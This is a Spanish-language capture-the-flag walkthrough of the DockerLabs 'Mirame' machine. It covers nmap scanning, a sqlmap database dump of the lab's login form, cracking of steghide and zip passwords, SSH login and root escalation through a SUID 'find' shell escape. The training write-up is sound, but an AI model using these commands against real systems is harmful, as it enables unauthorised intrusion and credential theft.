> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/mirame.md).

# Mirame

### **1. Despliegue de la máquina**

#### **1.1. Descarga**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Mirame** y pulsamos el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

#### **1.2. Descompresión**

Utilizamos la herramienta `7z` para extraer el contenido del archivo comprimido `mirame.zip`:

```bash
7z x mirame.zip
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FfHiUOjZmpGQHOfGbSTXz%2FPasted%20image%2020250807110808.png?alt=media&amp;token=cbd98550-42cf-480e-9c01-3400111df099" alt=""><figcaption></figcaption></figure>

#### **1.3. Ejecución**

Ejecutamos el script `auto_deploy.sh` para levantar la máquina en Docker, pasando como argumento el archivo `mirame.tar`:

```bash
bash auto_deploy.sh mirame.tar
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FNzwtxo0Ni4THJ8BGTNwf%2FPasted%20image%2020250807110845.png?alt=media&amp;token=4fbc98e8-e968-4a48-b8b7-6e91b5fc720e" alt=""><figcaption></figcaption></figure>

### **2. Reconocimiento**

#### **2.1. Verificación de conectividad**

Realizamos un `ping` a la dirección IP de la máquina (`172.17.0.2`) para confirmar que está activa:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FyI4frwnBH8cJH6XMkXV8%2FPasted%20image%2020250807110958.png?alt=media&amp;token=475dee7b-37fb-4dbb-81f0-c596986a89f7" alt=""><figcaption></figcaption></figure>

#### **2.2. Escaneo de puertos**

Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Explicación de los parámetros:**

* `-p-`: Escanea todos los puertos TCP, del 1 al 65535.
* `--open`: Muestra solo los puertos que están abiertos, omitiendo los cerrados o filtrados.
* `-sS`: Realiza un escaneo SYN (stealth scan) que no completa la conexión TCP.
* `--min-rate 5000`: Fuerza una velocidad mínima de 5000 paquetes por segundo, acelerando el escaneo.
* `-vvv`: Activa el nivel máximo de verbosidad, mostrando información detallada del proceso.
* `-n`: Evita la resolución DNS, usando solo direcciones IP.
* `-Pn`: Omite la detección de host activo, asumiendo que el host está disponible.
* `-oG allPorts`: Guarda los resultados del escaneo en formato Grepable en el archivo `allPorts`.

**Puertos abiertos identificados:**

* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FIQNbkfvSWAMfg5MDrQq5%2FPasted%20image%2020250807111031.png?alt=media&amp;token=5bf64ed4-7ab6-42c0-8413-658a0e4a9923" alt=""><figcaption></figcaption></figure>

#### **2.3. Escaneo detallado**

Realizamos un escaneo más exhaustivo para obtener información adicional sobre los puertos abiertos:

```bash
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
```

**Explicación de los parámetros:**

* `-p22,80`: Especifica los puertos a escanear.
* `-sCV`: Combina el escaneo de versiones (`-sV`) con la ejecución de scripts básicos de reconocimiento (`-sC`).
* `-oN targeted`: Guarda los resultados del escaneo en formato normal, en el archivo `targeted`.

**Resultados del escaneo:**

* **Puerto 22:** `OpenSSH 9.2p1`.
* **Puerto 80:** `Apache httpd 2.4.61`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FapZwkpGsYVb5TP0LXQo5%2FPasted%20image%2020250807111100.png?alt=media&amp;token=bf8f4e4b-55c7-4e45-9796-043c87870649" alt=""><figcaption></figcaption></figure>

#### **2.4. Acceso al servicio web**

Accedemos al puerto 80 a través del navegador (`http://172.17.0.2`) para inspeccionar el servicio HTTP.

Observamos un panel de inicio de sesión. Al no tener credenciales, procedemos a probar vulnerabilidades como inyección SQL.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F0EAQhAO6Z6FAqhIo1bHb%2FPasted%20image%2020250807111140.png?alt=media&amp;token=9b57d526-934c-4d5e-9766-3327bc8de934" alt=""><figcaption></figcaption></figure>

### **3. Explotación**

#### **3.1. Inyección SQL con SQLMap**

Utilizamos `sqlmap` para probar si el panel de inicio de sesión es vulnerable a inyección SQL:

```bash
sqlmap -u http://172.17.0.2/ --dbs --batch --forms
```

**Explicación de los parámetros:**

* `-u`: URL objetivo.
* `--dbs`: Enumera las bases de datos disponibles.
* `--batch`: Ejecuta en modo automático sin interacción.
* `--forms`: Analiza y prueba formularios HTML.

**Bases de datos encontradas:**

* `information_schema`.
* `users`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FdL0cunQwEwQTaj0lriz1%2FPasted%20image%2020250807111245.png?alt=media&amp;token=00523bca-ac60-4805-a669-0b865ce32c2b" alt=""><figcaption></figcaption></figure>

#### **3.2. Enumeración de tablas**

Enumeramos las tablas de la base de datos `users`:

```bash
sqlmap -u http://172.17.0.2/ --batch --forms -D users --tables
```

**Explicación de parámetros:**

* `-D users`: Especifica la base de datos.
* `--tables`: Enumera las tablas.

**Tabla encontrada:** `usuarios`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FIA1HuNKt7M5RajS56oZK%2FPasted%20image%2020250807111338.png?alt=media&amp;token=de6bbaba-bcaa-4846-8470-9c8a3f065ea7" alt=""><figcaption></figcaption></figure>

#### **3.3. Extracción de datos**

Extraemos los datos de la tabla `usuarios`:

```bash
sqlmap -u http://172.17.0.2/ --batch --forms -D users -T usuarios --dump
```

**Explicación de parámetros:**

* `-T usuarios`: Especifica la tabla.
* `--dump`: Extrae los datos.

**Datos obtenidos:**

| **id** |      **password**      | **username** |
| :----: | :--------------------: | :----------: |
|    1   | chocolateadministrador |     admin    |
|    2   |          lucas         |     lucas    |
|    3   |      soyagustin123     |    agustin   |
|    4   |   directoriotravieso   |  directorio  |

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FktJgUiSvWbTkzaZTVbVX%2FPasted%20image%2020250807111751.png?alt=media&amp;token=c99b9d05-a6cb-480a-9d84-6b4ef900eece" alt=""><figcaption></figcaption></figure>

#### **3.4. Análisis de credenciales**

Probamos las credenciales en el servicio SSH, pero no son válidas. Sin embargo, la contraseña `directoriotravieso` sugiere la existencia de un directorio oculto.

Accedemos al directorio en el navegador (`http://172.17.0.2/directoriotravieso/`).

Encontramos una imagen llamada `miramebien.jpg`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FofXuInNsR7z9VNBtmiwz%2FPasted%20image%2020250807111839.png?alt=media&amp;token=512fa015-8794-4b12-a250-7c1265f0c87c" alt=""><figcaption></figcaption></figure>

#### **3.5. Descarga y análisis de la imagen**

Descargamos la imagen:

```bash
wget http://172.17.0.2/directoriotravieso/miramebien.jpg
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F9xVoBqPitLjNpMIjCj2Q%2FPasted%20image%2020250807112003.png?alt=media&amp;token=20627cad-18ed-4ddd-b070-7292afbde1f8" alt=""><figcaption></figcaption></figure>

No encontramos información relevante en los metadatos, por lo que procedemos a usar `steghide` para buscar datos ocultos:

```bash
steghide info miramebien.jpg
```

La herramienta nos solicita una contraseña, que desconocemos.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FGX7gbaIMSVhC6VfDNO5N%2FPasted%20image%2020250807112053.png?alt=media&amp;token=f5a0fed9-5d76-4be6-9d06-dcc6964e55ae" alt=""><figcaption></figcaption></figure>

#### **3.6. Fuerza bruta con StegCracker**

Utilizamos `stegcracker` para realizar un ataque de fuerza bruta con el diccionario `rockyou.txt`:

```bash
stegcracker miramebien.jpg /usr/share/wordlists/rockyou.txt
```

**Contraseña encontrada:** `chocolate`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FPdRoXFM2U9EhycleKwpP%2FPasted%20image%2020250807112142.png?alt=media&amp;token=0ddf9b06-70e7-482c-8200-e59b52e822e1" alt=""><figcaption></figcaption></figure>

#### **3.7. Extracción del archivo oculto**

Volvemos a usar `steghide` con la contraseña encontrada (`chocolate`):

```bash
steghide info miramebien.jpg
```

**Detectamos un archivo oculto:** `ocultito.zip`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FaPh3mwvVmOb8xfX7J0Ri%2FPasted%20image%2020250807112219.png?alt=media&amp;token=617154f4-296c-4905-8764-d1faef9e292a" alt=""><figcaption></figcaption></figure>

Lo extraemos:

```bash
steghide extract -sf miramebien.jpg
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FoeW36NJzXxDAn04NuKrF%2FPasted%20image%2020250807112329.png?alt=media&amp;token=c4a6b47c-52ec-4765-8049-1ef748b1513c" alt=""><figcaption></figcaption></figure>

#### **3.8. Descompresión del archivo ZIP**

Intentamos descomprimir el archivo:

```bash
7z x ocultito.zip
```

Pero nos solicita una contraseña diferente a la anterior (`chocolate`).

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FCBQVf7DoEklXvv59TXY9%2FPasted%20image%2020250807112406.png?alt=media&amp;token=88f29fd4-4512-44a2-8ec1-b880e95832c9" alt=""><figcaption></figcaption></figure>

Utilizamos `zip2john` para generar el hash del archivo comprimido:

```bash
zip2john ocultito.zip > hash
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FKmZ6mfSu10ggEEcuqeRu%2FPasted%20image%2020250807112628.png?alt=media&amp;token=d804cf03-ef4b-4c22-9620-aa74406dec2f" alt=""><figcaption></figcaption></figure>

Utilizamos `john` para encontrar la contraseña de dicho hash:

```bash
john hash
```

**Contraseña encontrada:** `stupid1`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FSwWIPTYx6uqh3mfM2OEG%2FPasted%20image%2020250807112803.png?alt=media&amp;token=830eb336-5bb3-4395-b76e-652df1607d51" alt=""><figcaption></figcaption></figure>

Descomprimimos el archivo:

```bash
7z x ocultito.zip
```

Contiene un archivo llamado `secret.txt`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FXG1nwPyGW97HWRoChS69%2FPasted%20image%2020250807112838.png?alt=media&amp;token=c1c679c0-b593-428e-b764-dcbf149dd27a" alt=""><figcaption></figcaption></figure>

#### **3.9. Obtención de credenciales SSH**

Leemos el contenido de `secret.txt`:

```bash
cat secret.txt
```

**Credenciales encontradas:** `carlos:carlitos`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FCZ6UOCw7YkpMzp8yVpCJ%2FPasted%20image%2020250807112916.png?alt=media&amp;token=bc6d14dc-1f16-4269-bc98-627660aea001" alt=""><figcaption></figcaption></figure>

#### **3.10. Acceso por SSH**

Usamos las credenciales (`carlos:carlitos`) para acceder a la máquina:

```bash
ssh carlos@172.17.0.2
```

Confirmamos que estamos dentro como el usuario `carlos`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F9qoCv1VJ2BgGPsfZ1X6O%2FPasted%20image%2020250807112943.png?alt=media&amp;token=7ba47f20-dfef-4d34-bc56-87bdc30d5e36" alt=""><figcaption></figcaption></figure>

### **4. Escalada de privilegios**

#### **4.1. Búsqueda de binarios SUID**

Buscamos binarios con permisos SUID para escalar privilegios:

```bash
find / -perm -4000 2>/dev/null
```

Encontramos el binario `/usr/bin/find`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F6wbBdicPABj8M9IcXgmL%2FPasted%20image%2020250807113030.png?alt=media&amp;token=444971ad-521c-4467-a274-cead1dd38479" alt=""><figcaption></figcaption></figure>

#### **4.2. Escalada con GTFOBins**

Consultamos [GTFOBins](https://gtfobins.github.io/gtfobins/find/) para explotar el binario `find`.

Ejecutamos el siguiente comando para escalar privilegios:

```bash
/usr/bin/find . -exec /bin/bash -p \; -quit
```

Confirmamos que ahora somos el usuario `root`, completando así la escalada de privilegios.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FHsLS1cMDYQtwKdIoc7Wn%2FPasted%20image%2020250807113157.png?alt=media&amp;token=add32baa-a2e6-4e4e-a3e8-827af23d44d9" alt=""><figcaption></figcaption></figure>
